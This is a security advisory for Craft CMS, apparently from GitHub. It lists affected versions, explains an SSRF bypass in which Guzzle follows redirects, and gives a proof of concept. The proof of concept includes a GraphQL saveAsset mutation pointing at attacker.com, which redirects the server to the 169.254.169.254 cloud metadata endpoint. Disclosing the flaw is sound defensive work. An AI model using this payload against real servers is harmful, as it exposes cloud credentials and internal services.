GHSA-8jr8-7hr4-vhfx Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

• Packagist craftcms/cms: >= 5.0.0-RC1, < 5.8.22 → fixed in 5.8.22 • Packagist craftcms/cms: >= 4.0.0-RC1, < 4.16.18 → fixed in 4.16.18

Summary The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. --- Proof of Concept 1. Host a redirect script on your server (e.g. `redirect.php`): ```php ``` 2. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } ``` 3. The application validates `attacker.com` (passes) 4. Guzzle follows the redirect to `169.254.169.254` 5. Cloud metadata is saved as an asset --- Mitigation • Disable redirects.